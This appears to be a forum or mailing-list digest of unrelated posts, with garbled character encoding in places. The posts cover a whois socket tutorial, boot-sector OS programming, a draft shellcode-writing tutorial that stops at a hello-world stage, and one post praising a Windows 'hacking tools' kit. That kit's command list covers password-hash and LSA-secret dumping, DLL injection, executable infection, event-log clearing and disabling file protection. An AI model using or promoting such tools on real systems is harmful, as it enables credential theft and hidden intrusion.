The program is command driven -- you give a command (or query string) on stdin, it produces results on stdout, and exits. This is a very simple protocol, compare with fingerd(1M).
Actually the example is a misrepresentation -- our server will only answer questions if it's input is a socket in the AF_INET. That's because we want to syslog(3) all transactions -- we want to know where the connection came from.

The Code:
The server program is easy enough -- read a line, switch on command, and exit.
fgets(string,BUFSIZ,stdin); read from socket...

/* for some reason people send the whois phrase */

again:
strcpy(verb,""); strcpy(args,"");
sscanf(buf,"%[^ \t\r\n]%*c%[^\r\n]",verb,args);
if (!strcasecmp(verb,"whois")) {
strcpy(buf,args);
goto again;
}
sscanf(buf,"%[^\r\n]",buf);

/* switch on command verbs */
if (!strcasecmp(verb,"help"))
givehelp(args); output sent to stdout...
else etc...

/* or just display a person */
else listdisplay(lookbyname(buf));
output sent to stdout...

fflush(stdout); push output to client ...
Server programs can be that simple.

Connecting to the Server:
You can make a telnet(1) connection to the whois service on the server.
[3:47pm julian] telnet julian whois
Trying 129.100.2.12 ... Connected to julian.uwo.ca.
Escape character is '^]'.
reggers .... my command input
There were 1 matches on your request.

Full Name: Quinton, Reg
Department: Info Tech Svcs
Room: NSC 214
Phone: 679-2111x(6026)
Index Key: 481800
Machine Address: reggers@julian.uwo.ca
Directory Addresses: reg.quinton@uwo.ca
: r.quinton@uwo.ca
: reggers@uwo.ca
: quinton@uwo.ca

For more information try 'whois help'.
Connection closed by foreign host.
But we wouldn't normally use telnet as the client application (although in this case we could).

Whois Client:
The whois(1) client makes a TCP/IP connection to the server (using the tcpopen function we've developed here) and conducts the kind of protocol that you would type if you where to make a connection by hand:
[7:30am julian] whois reggers
There were 1 matches on your request.

Full Name: Quinton, Reg
Department: Info Tech Svcs
Room: NSC 214
Phone: 679-2111x(6026)
Index Key: 481800
Machine Address: reggers@julian.uwo.ca
Directory Addresses: reg.quinton@uwo.ca
: r.quinton@uwo.ca
: reggers@uwo.ca
: quinton@uwo.ca

For more information try 'whois help'.
The client sends the command "reggers", the server sends back the answer and the client displays the answer received to the user. When the server is finished the connection is closed.
If you understand the development of the tcpopen function then the rest of the code for that client should not be too difficult. See the entire distribution for that application -- there's only one main program to complete the kit.

Perl Socket Programming:
These days it's not unusal to see socket programming in perl(1) as well as C programs. Assuming you have been able to follow the notions presented above in the development of a tcpopen function written in C as used by our whois(1) client the following is for the Perl enthusiast:
sub tcpopen {
use Socket; # need socket interface
my($server, $service) = @_; # args to this function
my($proto, $port, $iaddr); # local variables
my($handle)="$server\:\:$service"; # localized obscure handle

die("550:Cannot getprotobyname('tcp')\r\n")
unless ($proto = getprotobyname('tcp'));

die("550:Cannot getservbyname($service)\r\n")
unless ($port = getservbyname($service, 'tcp'));

die("550:Cannot gethostbyname($server)\r\n")
unless ($iaddr = gethostbyname($server));

die("550:Cannot create socket\r\n")
unless socket($handle, PF_INET, SOCK_STREAM, $proto);

die("550:Cannot connect($service://$server)\r\n")
unless connect($handle, sockaddr_in($port, $iaddr));

# unbuffered I/O to that service

select($handle); $| = 1; select(STDOUT); $| = 1;

return($handle);
}
See whois2ph(8), the whois2ph source, whois2html(8), and the whois2html source -- both are production gateways in Perl to interface with our whoisd(8) server.

Final Comments:
The whois example uses a line based protocol. The strategy is common but by no means universal. For example, the lpd protocols use octets (ie. single characters) for the commands.
Inetd servers are the simplest to implement. However, this may not be optimal. Especially if the server has to do a lot of work first (eg. loading in a big data base).
Stand alone servers have to deal with many daemon issues -they should ignore most signals, set a unique process group and get rid of the controlling terminal.
Daemons like nntp could (in theory) handle many clients from a single daemon using interrupt driven I/O. As currently implemented most have an nntp daemon for each client (but INN uses a single daemon for flooding).
You'll note that Socket programmers use alarm(2), setjmp(2), and signal(2) calls. The intent is to prevent a process (client or server) from hanging in a wait for I/O state by setting and trapping on an alarm.
Note Well:
„h The best way to code a client/server program is to reuse code from an existing service. There's lots of public domain examples to work from -- nntp, lpd, sendmail, and even our whois service.
„h A simple solution that works is much better than a fancy solution that doesn't -- keep it simple.
„h Presentation issues, ie. the display for the user, should not effect the protocol or server. Again, protocols have to be simple!
„h Don't ever assume the client or server applications are well behaved!


Suggested Reading:
It shoud be clear that we have lots of real world examples you can look at and work from:
„h UWO/ITS Whois/CSO server, by Reg Quinton, UWO/ITS, 1992-97
„h UWO/ITS Whois client, by Reg Quinton, UWO/ITS, 1992-97
„h Passwdd/Passwd -- An authentication Daemon/Client, by Reg Quinton, UWO/ITS, 1992-97
„h ACL -- Access Control Lists, by Reg Quinton, UWO/ITS, 1995-97
More detailed documentation, should you need it, can be found at:
„h Introductory 4.3BSD Interprocess Communication, by Stuart Sechrest, (in) UNIX Programmer's Supplementary Documents, Vol1, 4.3 Berkeley Software Distribution, PS1:7.
„h Advanced 4.3BSD Interprocess Communication, by Samuel J. Leffler et al, (in) UNIX Programmer's Supplementary Documents, Vol1, 4.3 Berkeley Software Distribution, PS1:8.
„h Introduction to the Internet Protocols, Computer Science Facilities Group, Rutgers. (See ftp:/ftp.uwo.ca/nic)
„h Networking with BSD-style Sockets, by John Romkey, (in) Unix World, July-Aug. 1989.
„h How to Write Unix Daemons, by Dave Lennert, (in) Unix World, Dec. 1988.
„h A Socket-Based Interprocess Communications Tutorial, Chpt. 10 of SunOS Network Programming Guide.
„h An Advanced Socket-Based Interprocess Communications Tutorial, Chpt. 11 of SunOS Network Programming Guide. [/hide]



--

writing own OS

 

 

How to write an operating system
Writing an operating system is something that can not only be interesting (if you're one of those
people that get turned on by Int 13....) but it is also a great learning experience. Through creating
your own operating system you will learn exactly what goes on behind the scenes, elevating you above
the average programmer that just writes in Visual Basic.

In this tutorial you will be tought by examples, and by the end you should have created your own operating system.

Tools:
EasyOs easyos.zip 300kb
EasyOS is a very simple operating system, it contains all the tools needed to build an operating system.
(Not written by me, although I did add bits to it and mess it up a bit)

A quick explanation of assembly: (see here for a good tutorial)

si and ah Think of si as something to put text into, and ah as something to put numbers into.
mov This (mov)es data. mov ah,0 would move 0 into ah. (The data on the right is moved into the left)
Int Think of these as functions. Different int's do different things when ah is different. Ahem. Eg.
when ah = 0 and you call int 10 it prints si to the screen.
Stuff To put words and stuff in your program you can't just do mov si,'some words' (well, you can but
you wont like the resutls) so instead you have to declare the words first. You do this by putting the
name of what you want the words to be called by, then the data type (nearly always db) then the words themselves. Eg:
name db 'some words'
Jump To give sections of code a label, just type the label and add a : at the end, eg code: .
You can then use jmp to jump to it, eg jmp code If To do an if in assembly you use cmp, eg
cmp al,0 (if al=0). On the next line you then put je code, and if al=0 then the program jumps to
the section of code called code. If you use jne code, then if al is not 0 the program will jump to code.
The stack The stack is where stuff is stored. push pushes stuff into it, pop pulls stuff out.
The following example would put cx into dx:
push cx pop dx

Now you know everything there is to know about assembly, you can now understand most of the program that
boot's EasyOs. Drives (hard drives and floppy's) are split into lots of bits, all 512 bytes long
(enough to fit 512 letters in). These are calle sectors. The first sector is what the computer looks
for when it boots. It is called the bootsector.
Open the folder src and then open boot.asm. Or if you are lazy, just look at the code below (its the same).
; This is a comment
[ORG 0x7C00] ;This just tells the program where it is in the memory. Not important
[BITS 16] ;Not important too.

jmp start ; Jump over BIOS parameter block

start: ;The label for the start of the actual program

push cs ;Put cs onto the stack
pop ds ;Take it out and put it into ds


mov si,Print_loading ;Print loading message
call printstring ;Call is like jump, but it goes back. Like a function


;The complicated bit: Loads the next program
mov ah,02h ;When ah=, int13 reads a disk sector
mov al,4 ;Al is how many sectors to read
mov ch,0 ;The track to read from
mov cl,2 ;Sector Id
mov dh,0 ;Head
mov dl,0 ;Drive (0 is floppy)
mov bx,0x1000 ;Es and Bx put together are where to load the program too (see jmp 0x1000:0x00)
mov es,bx
mov bx,0x00
int 13h ;Int 13 is all functions for disks

mov si,putdot ;Print a ".".
call printstring

jmp 0x1000:0x00 ;Run Bootinit from stack.

printstring: ;Print string routine.
mov ah,0eh ;Mov ah into 0, so int 10 prints
stringloop: ;The following code loads each seperate charcter so it can be printed
lodsb
cmp al,00 ;If al =0, then the string has all been loaded
je endstring
int 10h ;When int 10 is called, and ah=, it prints
jmp stringloop
endstring:
ret ;Ret returns



putdot db '.',0
Print_loading db 13,10,'Loading Easy OS v0.01a...',0
times 425 db 0 ;wastes 425 bytes on purpose, so the sector is full (The program must be 512 bytes long)


You may have noticed that numbers, like int 10h, end in h. They don't have to, it just looks funky (there is a real reason, but it's boring).
Anyway, now copy the program called copyboot in the folder called utils to the folder with test.asm in. Open the dos prompt and type: (Make sure a blank floppy is inserted)
copyboot test.com 0
copyboot is the name of the program, test.com the name of the file to copy, and 0 is the sector.
In the program above all it does is print a string then load whats at sector 1. The program that easyos loads under the src folder called bootinit. If you assemble it with nasm, then copy it to sector 1 and restart, the bootsector will load it.
There isn't much more to be learnt from EasyOs, so run either setup.exe or make.bat to build the whole thing. The difference is setup.exe lets you setup a root password for EasyOs. If you just run make.bat the passwords is the default password: monty (named after my psychotic dog).
Now restart and be amazed. Wow. Pretty crappy, but it isn't that bad.


Fat 12
No, its not a fat people supprt group but a file system. If you try and access the floppy disk Windows will say it need s to be formatted. Formatted? You ask. Formatting is basically organising the sectors so you can give them names. Underneath Windows and Fat, you are still just accessing sectors. I won't go into Fat here, check out http://www.maverick.subnet.dk/ for some info. Anyway, the bootsector needs to have some information in it that when Windows reads it it tells it it is fat. The following BootSector was disgustingly ripped by me of NYAOS (I have no idea what i stands for). With your A* qualification in assembly language you can no doubt understand it.
; NYAOS Boot Sector © Copyright Sean Tash 1998
; assemble with:
; nasm -f bin -o bootsect.bin bootsect.asm
bits 16
org 0x7C00

start: jmp short begin
nop
bsOEM db "NYAOS1.0" ; OEM String
bsSectSize dw 512 ; Bytes per sector
bsClustSize db 1 ; Sectors per cluster
bsRessect dw 1 ; # of reserved sectors
bsFatCnt db 2 ; # of fat copies
bsRootSize dw 224 ; size of root directory
bsTotalSect dw 2880 ; total # of sectors if < 32 meg
bsMedia db 0xF0 ; Media Descriptor
bsFatSize dw 9 ; Size of each FAT
bsTrackSect dw 18 ; Sectors per track
bsHeadCnt dw 2 ; number of read-write heads
bsHidenSect dd 0 ; number of hidden sectors
bsHugeSect dd 0 ; if bsTotalSect is 0 this value is
; the number of sectors
bsBootDrv db 0 ; holds drive that the bs came from
bsReserv db 0 ; not used for anything
bsBootSign db 29h ; boot signature 29h
bsVolID dd 0 ; Disk volume ID also used for temp
; sector # / # sectors to load
bsVoLabel db "NO NAME " ; Volume Label
bsFSType db "FAT12 " ; File System type

begin: cli ; disable interrupts
mov [bsBootDrv],dl ; save drive number
mov ax,0x9000 ; put stack at 0x98000
mov ss,ax
mov sp,0x8000

mov cx,[bsTrackSect] ; update int 1E FDC param table
mov bx,0x0078
lds si,[ds:bx]
mov byte [si+4], cl
mov byte [si+9], 0x0F

sti ; enable interrupts
push ds
mov dl,[bsBootDrv] ; reset controller
xor ax,ax
int 0x13
pop ds
jc bootfail2 ; display error message
jmp _l1
bootfail2: jmp bootfail
_l1:
mov ax,0x0000
mov es,ax
mov ds,ax

mov si,MsgLoad ; display load message
call putstr

; find the root directory

xor ax,ax
mov al,[bsFatCnt]
mov bx,[bsFatSize]
mul bx
add ax,word [bsHidenSect]
adc ax,word [bsHidenSect+2]
add ax,word [bsRessect] ; ax holds root directory location
mov word [BootSig],ax

call checkroot

xor ax,ax
add ax,word [start]
add ax,word [bsVolID] ; sector number
add ax,word [BootSig]
sub ax,2 ; correction for a mis-calc
mov cx,word [bsVolID+2] ; number of sectors

mov bx,0x8000
mov es,bx


nextsector: push ax ; save registers
push cx
push dx
push es

xor bx,bx ; set zero offset
call readsect ; read a sector

mov si,MsgDot ; display a dot
call putstr

pop es ; restore registers
pop dx
pop cx
pop ax
mov bx,es
add bx,20h ; increment address 512 bytes
mov es,bx
inc ax ; read next sector
loopnz nextsector

mov ax,0x8000 ; set segment registers and jump
mov es,ax
mov ds,ax
push ax
mov ax,0
push ax
retf

checkroot:
push ax ; save registers
push bx
push cx
push dx
push si
push di

mov ax,0x8000 ; put root directory at 0x80000
mov es,ax
mov ax,32 ; AX = ((32*RootSize)/512) + 2
mul word [bsRootSize]
div word [bsSectSize]
mov cx,ax ; cx holds # of sectors in root
mov word [start],ax
mov ax,word [BootSig] ; get prev. saved loc. for root dir

r1: xor bx,bx
push cx ; save count
push ax ; save sector number
push es
push dx
call readsect
xor bx,bx
l_1: mov di,bx ; set address to check from
mov cx,11 ; check 11 bytes
mov si,FileName ; address of string to check with
repz cmpsb
je foundit
add bx,32 ; check next entry
cmp bx,[bsSectSize] ; end of sector?
je l_2
jmp l_1
l_2: pop dx ; restore registers
pop es
pop ax
pop cx
inc ax ; read next sector
loopnz r1
jmp bootfail
foundit: pop dx ; get these off the stack
pop es
pop ax
pop cx

mov di,0x1A ; get clustor #
add di,bx
push bx ; save bx for finding # of sectors
mov ax,[es:di]
xor bx,bx ; calculate sector #
mov bl,[bsClustSize]
mul bx ; ax holds sector #
mov word [bsVolID],ax

pop bx ; get location of directory entry
mov di,0x1C
add di,bx
mov ax,[es:di] ; put number of bytes in ax
xor dx,dx
mov bx,[bsClustSize] ; # of bytes / 512
div bx
inc ax
mov word [bsVolID+2],ax ; save number of sectors to load

pop di ; restore registers
pop si
pop dx
pop cx
pop bx
pop ax

ret ; return to caller

putstr: ; SI = address of string to display
lodsb
or al,al
jz short putstrd
mov ah,0x0E
mov bx,0x0007
int 0x10
jmp putstr
putstrd: retn ; return to caller

bootfail: ; display failure message
mov si,MsgBad ; display error message
call putstr
xor ax,ax ; wait for keypress
int 0x16
int 0x19 ; reboot

readsect: ; ES:BX = Location ; AX = Sector
mov si,[bsTrackSect]
div si ; divide logical sect by track size
inc dl ; sector # begins at 1
mov [bsReserv],dl ; sector to read
xor dx,dx ; logical track left in ax
div word [bsHeadCnt] ; leaves head in dl, cyl in ax
mov dh, [bsBootDrv] ;
xchg dl,dh ; head to dh, drive to dl
mov cx,ax ; cyl to cx
xchg cl,ch ; low 8 bits of cyl to ch, hi 2 bits
shl cl,6 ; shifted to bits 6 and 7
or cl, byte [bsReserv] ; or with sector number
mov al,1 ; number of sectors
mov ah,2 ; use read function of int 0x13
int 0x13 ; read sector
jc bootfail ; display error message
ret ; return to caller

padding times 45 db 0
FileName db "OSLOADERCOM"
MsgBad db "Disk Error...",13,10,0
MsgDot db ".",0
MsgLoad db "doors loading",0
BootSig db 0x55, 0xAA



Anyways, copy the above program, save it, build it with nasm, copy it with copyboot.
As you can guess above, it loads a program called 'OSLOADER.COM' off of the floppy. So, if you want a particularily funky os, build the following with nasm:
;Funky squares
;
;Assembles with NASM
;Made by Frej somewhere between april and may 2000
;Bits reprogrammed to run within DeviatorOS
;
;This demo is just to show you how small graphical demos can get ;)
;Reprogrammed for DeviatorOS as demo program

org 0x0000
mov ax,cs
mov ds,ax
mov es,ax ; fix segment regs

start: mov bx,cs ;put codesegment to bx
add bh,0x20 ;add 2000 to bx
mov ds,bx ;and put it to ds
mov ax,0x13 ;set ax to videomode 13
int 10h ;and do that
Main: push ds ;put buffer seg to stack
pop es ;and put that into es
in ax,0x40 ;generate "random" number (timer)
shl ax,4 ;multiply random # with 16
mov di,ax ;box offset (random)
mov al,255 ;color of the box
mov bx,50 ;height=50
pl: add di,270 ;di+270 (320-width(50))
mov cx,50 ;# bytes to copy to buffer
rep stosb ;and do it
dec bx ;decrement bx
jnz pl ;jump if bx not zero
mov bh,0xFA ;assume bl = 0 (-> bx = FA00)
Smudge: mov al,[bx+1] ;right color to al
mov cl,[bx-1] ;left color to cl
add ax,cx ;and add it to ax
mov cl,[bx-320] ;upper color to cl
add ax,cx ;and add it to ax
mov cl,[bx+320] ;lower color to cl
add ax,cx ;and add it to ax
shr ax,2 ;divide with 4
mov [bx],al ;and but the avarage color to buffer
dec bx ;decrement bx
jnz Smudge ;jump if bx not zero
mov ax,0xA000 ;vga seg
mov es,ax ;put it to es
mov ch,0xFA ;# bytes to copy to vga
xor di,di ;zero vga offset
xor si,si ;zero buffer offset
rep movsb ;and do that
in al,0x60 ;check for keys
dec al ;was it esc?
jnz Main ;nope, continue
mov ax,3 ;text mode
int 10h ;get back into text mode
xor ah,ah ;yes, return to OS
int 0x18 ;back to good old kernel
;Note:- This was, as you can guess, ripped by from an os. So when it goes back to the 'good ol kernel' it just restarts.

Build it with nasm, but rather than faffing around copyboot, just name is as OSLOADER.COM and copy it to the floppy.
Now restart and enjoy the funkiness. Woah dood.


C
Time to escape assembly language. The boot sector has to be written in assembly, but nothing else does. Unfortunately you can't just go and write a cool shell with Visual C++. First of all, its has to be a .com program, not .exe.
.exe programs are just .com with a bit of extra info. at the start giving some info on what the program is. It's very easy to add .exe capabililty to an os, or you can download a program called exe2com.
The serious problem though is that you can create your own ints to make things easier. EasyOs does this (look in kernel.asm under the src folder) and Dos does this too (Dos makes int 21). By default, compilers build a program with these ints.

For linux lovers
The following code is for Gcc on linux and nasm for dos or linux. Dos/ Windows users can download Djgpp from http://www.delorie.com/djgpp/, which is like gcc. The line
gcc -c -O2 -Wall -g -o hello.o hello.c
Tells gcc to build a plain binary. I don't know who wrote the following, e-mail me if you do.

--
siva

Unix commands

 

Friends i have got these tools from my friend 2day.these tools r really wonderful. So checkout frnds.this could help u
in cmd operations.
These tools are:
usage:
[command] <parameter1> <parameter2> ...
commands:
sysinfo - shows system informations
cadmin - create an admin user
plist - shows running processes
pkill - kills a process
pmod - lists the loaded modules of a process
pexec - executes a command line
pexecp - executes a command line (setable parent by process id)
pexecp2 - executes a command line (setable parent by process name)
injmod - loads a dll into a process (by process id)
injmod2 - loads a dll into a process (by process name)
freemod - frees a dll in a process
sysmod - list the loaded system kernel modules
freesmod - frees a loaded system kernel module
hclose - closes a handle in a process
infect - modifies an exe file to load a specified dll file on start
slist - shows services
sstart - starts a service
sstop - stops a service
sdelete - removes a service
sstrcfg - sets a service startup config
sdspcfg - sets a service display name
sdesccfg - sets a service description
lads - lists the alternate data streams of files in a directory
dir - lists a directory content
mkdir - creates a directory
rmdir - removes a directory
tag - "tags" a directory
copy - copies a file into another (also ntfs streams)
copydriv - same as copy but in ring0/driver
filetime - sets a file creation and last write time
specdacl - forbids access to a filder except of one user (e.g. system)
eregval - enumerates values of a registry key
dregval - deletes a registry value
dregkey - deletes a registry key
autorun - adds a registry autorun
evtlog - clears the system event log (NOT logfiles!)
shutdown - shutdowns windows
fservu - finds the serv-u process
ports - shows LISTENING ports
wfp - terminates the Windows File Protection worker thread
wfp2 - disables the Windows File Protection of the system directory
wfpboot - disables the Windows File Protection boot scan
pwdcache - displays the cached passwords in winlogon (Win2k)
pwdump - displays the user password hashes of the SAM database
secdump - displays the lsa secrets
download - downloads a file from an url
cfg - change hackingtools config
dummyp - runs a dummy process and loads a dll
pmem - searches value(s) in virtual memory of a process
email - send a email with or without an attachment
scrcap - captures the screens
ownz - shows a penetrating screen for some time
rdaemon - register an daemon service
cdaemon - change a daemon config file (don't use with other services)
_sdaemon - <daemon service routine - don't use>
help - shows this help
--------------------------------------------------------------------------------
as you see it has alot of usefull functions

-plist shows all hidden processes by rootkits
-download u can download files from http
-sysinfo gives you a complete sysinfo


--
siva
09886179349

FW: Byte code writing

 

Ive written a tutorial about bytecode writing, and I'm wondering what you guys think of it. Before I submit it to asta, I want to remove any inaccurities or something not explained properly.
So please, any advice? Any criticism is more than accepted

But above all, I hope you guys like it....

Bytecode Writing

For several types of exploits รข€" such as buffer overflows and format bugs รข€" it's useful to write bytecode. There are other ways to exploit them, such as the รข€ล“return into libcรข€ method. Though most of these vulnerabilities are exploited using bytecode, because you have a lot more power.
Bytecode is code which can be injected into programs by exploiting vulnerabilities, and when executed it will do whatever the attacker injected into the program. Oftentimes it will create a shell, either remote or with root permissions. In this case, the bytecode is called รข€ล“Shellcodeรข€.

Let's say there's a program prone to a buffer overflow by sending something over the internet. An attacker can create bytecode, and exploit the vulnerability this way to get a shell on your computer, giving him the ability to run commands on your computer.
Or if the attacker already has access to the computer, he may inject his bytecode into a program which is ran as root. His source will be ran as root, and will give him a root shell in case that's what the source was programmed to do (and it worked properly).

I will not explain how to exploit buffer overflows or how to find the proper return address. I will only explain how to write bytecode. Knowledge about buffer overflows and such is useful, but not required. However, to be able to actually use this, you must have knowledge about the vulnerability you want to exploit. Knowledge about programming is useful as well. For the sake of brevity, I am not going to explain every concept of programming. Also, this tutorial will be about writing bytecode for Linux for the x86 architecture. If you use Windows, it won't be hard to write bytecode for Windows after reading this.


First, let's start off with a simple assembly program. Open up and create a file called รข€ล“shell1.asmรข€ with the contents:
<shell1.asm >
SECTION .text
global _start
_start:
mov eax, 4; System call 4: write();
mov ebx, 1; Argument 1: file descriptor 1 (STDOUT)
mov ecx, helloworld; Argument 2: The message to write
mov edx, 15; Argument 3: The size of the message
int 80h; Execute the systemcall

mov eax, 1; System call 1: exit();
mov ebx, 0; Argument 1: The errorcode (0).
int 80h; Execute the systemcall
SECTION .data
helloworld db "Hello, world..."
<EOF>

Now compile and execute this with the following commands (you will need the program รข€ล“nasmรข€ to do this):
<commands>
$ nasm -f elf shell1.asm
$ ld shell1.o
$ ./a.out
Hello, world...$
</commands>

As you see, it shows the รข€ล“Hello, world...รข€ message. However, this is a long way from proper bytecode. This can't be injected into a program yet for several reasons. But before I get to that, let me explain how this program works.
One note before I explain this: everything behind ';' are comments. These are ignored, and only readable when you have the source file. I won't add those here, because it will be completely explained anyway. Comments just make the file more readable.

SECTION .text
This indicates the start of the code section. This section just contains all of the code of the program.

global _start
This will make the label รข€ล“_startรข€ global, so that it can be used as begin point. See the next line.

_start:
This is a label with the name รข€ล“_startรข€. This is the location where the execution of your program will begin. The command under this, will be the first to be executed.

mov eax, 4
Mov copies the second operand (after the comma), to the first operand (before the comma). So this copies the value รข€ล“4รข€ into the register eax. Registers are inside the processor. There are several registers. They either store a byte, a word, or a double word (dword). There are several uses for them. They can be used for storing something for a little while. This is useful, because reading or writing to registers is a lot quicker than reading or writing to the memory (since it's in the processor itself).
These registers are called รข€ล“General Purposeรข€ registers. You can modify them, although there are also registers you can not modify without some nifty tricks. At this point, only general purpose registers are important, so I won't cover the others.

A byte are 8 bits. One bit is either one or zero, so there are 2 ^ 8 = 256 possible values in a byte. Since the first possible value is zero and not one, the maximum value of one byte is 255. The registers which can store one byte are called: al, bl, cl, dl, ah, bh, ch and dh.
There are also registers that store one word. This are two bytes, thus 16 bits. There are 256 ^ 2 = 2 ^ 16 = 65536 possible values, so the maximum value is 65535. The registers which can store words are called: ax, bx, cx, dx, si, di, bp and sp.
A double word (or dword) are two words, thus 4 bytes, thus 32 bits. This means there are 65536 ^ 2 = 256 ^ 4 = 2 ^ 32 = 4294967296 values possible. So the highest number which can be stored in a dword-register is that number minus one, 4294967295. The registers that can store dwords are called: eax, ebx, ecx, edx, esi, edi, ebp and esp.

This doesn't, however, mean there are 24 general purpose registers. It seems that way, but it's not true. This is because one register is a part of another. For example, ax are the low two bytes of the register eax.
So if the register eax contains the four bytes รข€ล“AA BB CC DDรข€ (those values are hex, you should know what hex is), the register ax would be รข€ล“CC DDรข€. When you modify this register, ax, in for example the bytes รข€ล“BB AAรข€, eax would change as well, into รข€ล“AA BB BB AAรข€.
The register ax are the low two bytes from eax, meaning they are the least significant two bytes. There is no register which is the high two bytes from eax, thus the most significant.
This is demonstrated below.
< Image here isn't available in this version >

The same holds true for ebx with bx, bh and bl, for ecx with cx, ch and cl and for edx with dx, dh and dl.
The remaining dword-registers are esi, edi, ebp and esp. The remaining word-registers are รข€ล“si, di, bp and spรข€. As you might have guessed, si are the low word (two bytes) of esi (the least significant), di the low word of edi, bp the low word of ebp and sp the low word of esp.
Keep in mind, if you change one, you change the other(s).

Now back to the source.
mov eax, 4
The eax register will become 4. But why four? To explain this, I must first explain a little bit more about bytecode.

Bytecode must be self-sufficient. You can not call a C function easily, making the bytecode work wherever you put it. For this, we need another way to execute our commands.
There is another way to execute the main C functions. This is done by รข€ล“interrupt 80hรข€. Interrupts can be compared to functions; the source gets executed belonging to the 80h interrupt, and then it will return the normal path of the program.
Interrupt 80h is the main Linux interrupt. When you call this, you can do a lot of things. However, you must specify what exactly you want to do. Interrupt 80h has over 250 possible functions it can execute.

First we should decide what we actually want. We want to write something to the screen first. Now we need a list of possible actions of interrupt 80h. There is such a list, and it's in the file /usr/include/asm/unistd.h. You can view them all by using:
<command>
$ cat /usr/include/asm/unistd.h |grep รข€ล“define __NR_รข€
</command>

The reason this works is just the way the file is made.
You will see the list of all possible actions, all in the following format:
#define __NR_<funcname> <funcid>
Where <funcname> is the name of the function, and <funcid> the id. Have a look at the list. We want to write to the screen. We'll use รข€ล“writeรข€ for that:
#define __NR_write 4

The function id is 4. We need interrupt 80h to know this. To let it know this, we have to move it into รข€ล“eaxรข€.

This explains รข€ล“mov eax, 4รข€. When interrrupt 80h is called, it will execute the รข€ล“writeรข€ C function.
Let's move on to the next line.

mov ebx, 1
We are calling the write(); C-function. Let's have a look how to use this function. Execute the following command:
<command>
$ man 2 write
</command>
This will show the manual for รข€ล“writeรข€. The two indicates it must look for a systemcall.

Note it's definition:
ssize_t write(int fd, const void *buf, size_t count);
There are three parameters, and we need to specify them as well. The parameters are:
fd: The file descriptor to write to. We want to write to the screen. This is STDOU (Standard output). The number of this file descriptor is 1. So we want the first parameter to be 1.
buf: A pointer to the text we want to show on the screen. We want to show the message รข€ล“Hello, world...รข€, so it must be a pointer to a place in the memory with that data.
Count: The amount of bytes we want to write to the screen. We want to write 15 bytes to the screen (the length of the message รข€ล“Hello, world...รข€), so this parameter must be 15.

So in C, we would simply call:
write(1, รข€ล“Hello, world...รข€, 15);

Now we need a way to specify those parameters. In assembly, using interrupt 80h, this is done with ebx, ecx and edx. Ebx is the first parameter, ecx the second, and edx the third.

Since we want the first parameter to be one, we need to move one into ebx.
This is what รข€ล“mov ebx, 1รข€ does.


mov ecx, helloworld
In this case, helloworld is a pointer. This will be defined in the last line. This pointer points to a location in the memory, containing the string รข€ล“Hello, world...รข€. This pointer is moved into ecx, the second parameter to the write function.

mov edx, 15
The third parameter, the length of the string to write, must be put in edx.


At this point, we are done setting up the registers. We can call interrupt 80h, and it will understand exactly what we want to do. We call interrupt 80h with the following line:
int 80h
Done. The text appears on the screen (the h indicates the number is hexadecimal).

Though we are not done yet. We need to exit the program, or else we will get error message because it's trying to run malicious data.


Have a look again at the list of available commands with the 80h interrupt. Note the first line:
#define __NR_exit 1
The exit system call. Have a look at it by typing the command รข€ล“man 2 exitรข€.

This one only requires one parameter. The status. Let's just use status 0, indicating no error.
The id of the exit systemcall is 1, so we must move that in eax. So that's what we do first:
mov eax, 1
Next, we need to move the status code into the first parameter register, ebx:
mov ebx, 0

Now we're done again, and we can call interrupt 80h. This will terminate the program:
int 80h


We have two more lines.
SECTION .data
This will mark the end of the section with the code (see the first line), and mark the section with the data.

helloworld db "Hello, world..."
This puts the text รข€ล“Hello, world...รข€ into the memory. This will be done in the size of bytes (db = define byte, dw = define word, dd = define dword). A pointer to this string will be put in the value รข€ล“helloworldรข€. This pointer will be put into a register, so that it will print that text, hence the line รข€ล“mov ecx, helloworldรข€.



We have a working program now, but not yet a bytecode. There are two more problems in this code, which have to be solved.

The first problem is the pointer to the string, รข€ล“Hello, world...รข€. This won't work in bytecode because the address of it is calculated during runtime.
There are multiple solutions for this, but the most popular รข€" and far most the best one รข€" is the stack.

The stack is a stack of data, stored in double words. You can รข€ล“pushรข€ a value in it, and then รข€ล“popรข€ the same value out of it again. The system it uses is LIFO (Last In First Out), sometimes called FILO (First In Last Out).
When the program starts, the register ESP will be set to the highest place in memory of the stack. This is a place it may not write to. When the push command is used to write something to the stack, esp is first decreased by 4 bytes (or one dword). Then the data you want to push on the stack is stored on the location ESP points to.

The x86 architecture uses so called little-endian. This means the bytes are stored in reverse order. So รข€ล“Hello, world...รข€ is stored as รข€ล“...dlrow ,olleHรข€.
So after pushing all this data on the stack, ESP is the pointer to the string รข€ล“Hello, world...รข€. We can now use this as pointer for write by moving it into ecx.

Let's convert it to hexadecimal first. We want to push รข€ล“...dlrow, olleHรข€ (since it's stored in reverse), but we need the hexadecimal equivalent first. Use รข€ล“man asciiรข€ to get a list of characters. Search every character one by one, and look on the column left to it. The result will be:
2E 2E 2E 64 6C 72 6F 77 20 2C 6F 6C 6C 65 48

Now we need to push this data on the stack. Note that you are pushing dwords, so you must use 4 hexadecimal values after each other, and indicate this is a hex value. You can indicate this by either appending an 'h' to it, or prepending '0x' in front of it. I will use this last one.
Also,the last thing to push รข€" the first characters รข€" must always be four characters. The next example is wrong:
push 0x2E2E2E64
push 0x6C726F77
push 0x202C6F6C
push 0x6C6548

Why is this wrong? Remember it pushes dwords. The last value, however, isn't a dword. A 00-byte will be prepended, actually pushing รข€ล“0x006C6548รข€. Since these are the first few characters, this will be shown. We must use the 00-byte at the end of the string, which will be ignored anyway, because we specified the length of the string.
Here's the right way to push the string on the stack:
push 0x2E2E2E
push 0x646C726F
push 0x77202C6F
push 0x6C6C6548

The first line is the same as รข€ล“push 0x002E2E2Eรข€.
Now, since ESP points to the last thing pushed on the stack, ESP is a pointer to the string รข€ล“Hello, world...รข€. By moving that into ecx, it will get a pointer without using รข€ล“define byteรข€ (db):
<shell2.asm>
BITS 32
SECTION .text
global _start
_start:
; Push the string รข€ล“Hello, world...รข€ on the stack
push 0x2E2E2E; Push รข€ล“...รข€
push 0x646C726F; Push รข€ล“dlroรข€
push 0x77202C6F; Push รข€ล“w ,oรข€
push 0x6C6C6548; Push รข€ล“lleHรข€

mov eax, 4; System call 4: write();
mov ebx, 1; Argument 1: file descriptor 1 (STDOUT)
mov ecx, esp; Argument 2: The message to write
mov edx, 15; Argument 3: The size of the message
int 80h; Execute the systemcall

mov eax, 1; System call 1: exit();
mov ebx, 0; Argument 1: The errorcode (0).
int 80h; Execute the systemcall
<EOF>

